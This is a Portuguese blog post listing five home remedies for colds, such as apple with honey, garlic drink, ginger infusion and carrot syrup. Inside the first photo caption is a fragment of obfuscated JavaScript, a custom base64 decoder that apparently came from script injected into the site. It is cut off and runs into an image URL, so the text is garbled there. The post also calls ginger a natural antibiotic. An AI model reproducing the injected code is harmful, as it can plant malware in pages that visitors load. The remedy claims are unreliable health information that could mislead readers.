5 receitas caseiras para as constipações

Dez 1, 2016 | À descoberta, Dicas úteis

5 receitas caseiras para as constipações

Com este frio vou partilhar consigo 5 receitas caseiras para as constipações. Se estiver com muitos “atchins”, vai ver que com estas dicas simples vai sentir-se muito melhor. Mas atenção se os seus sintomas se mantiverem, não deixe de procurar o seu médico. Não há nada pior do que uma constipação mal curada.

Quando estamos constipados uma das coisas que nos acontece é ficar com a garganta inflamada. Vários nutricionistas em todo o mundo aconselham a maçã com mel para aliviar a dor. O que tem de fazer é simples: corte a maçã em fatias finas, cubra-as com mel e deixe-as repousar durante 3 a 5 minutos. A maçã vai absorver o mel e vai ver que funciona. A maçã reduz a inflamação e o mel lubrifica e acalma a garganta.

Receitas caseiras para as constipações- maçã e mel | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandersmkt.com/wp-content/uploads/2013/07/honeygreen.jpg"> alexandersmkt

Outra das receitas caseiras para as constipações é alho triturado. À partida parece uma coisa nada apetitosa, mas quando experimentar vai ver que não é assim tão mau e funciona. O que tem de fazer é triturar um dente de alho e mistura-lo com uma colher de mel e um pouco de limão. Depois só tem de dissolver este preparado em água quente. Pode beber 3 vezes por dia.

Receitas caseiras para as constipações- alho e mel | Foto: blogspot

Para ajudar a curar a sua constipação outra receita que pode seguir é este banho muito aromático. Na água do banho ponha óleo de tomilho, que pode ser comprado em lojas de produtos naturais e junte eucalipto e rodelas de limão. Entre na banheira, relaxe e inale os vapores desta mistura que a vai fazer sentir muito melhor.

Receitas caseiras para as constipações- banho aromático | Foto: eldiariodelanena

O gengibre é fabuloso como antibiótico natural. Quando estiver constipada, coloque gengibre fresco em água e deixe ferver. Depois deixe repousar uns minutos e beba. Vai ver como é eficaz. Pode se quiser juntar um pouco de mel e limão a esta infusão.

Receitas caseiras para as constipações- gengibre | Foto: viverbem

Esta receita de xarope de cenoura é partilhada por várias pessoas para aliviar os sintomas de tosse e constipação.

- Corte 1 cenoura média em rodelas finas e coloque num frasco de vidro
- Junte 2 colheres de sopa de açúcar amarelo,
- 2 colheres de sopa de mel
- Sumo de meio limão.

Deixe este xarope repousar durante um dia depois de fazê-lo. Quando sentir que a constipação vai atacar tome 1 colher de sopa de xarope 2 vezes por dia.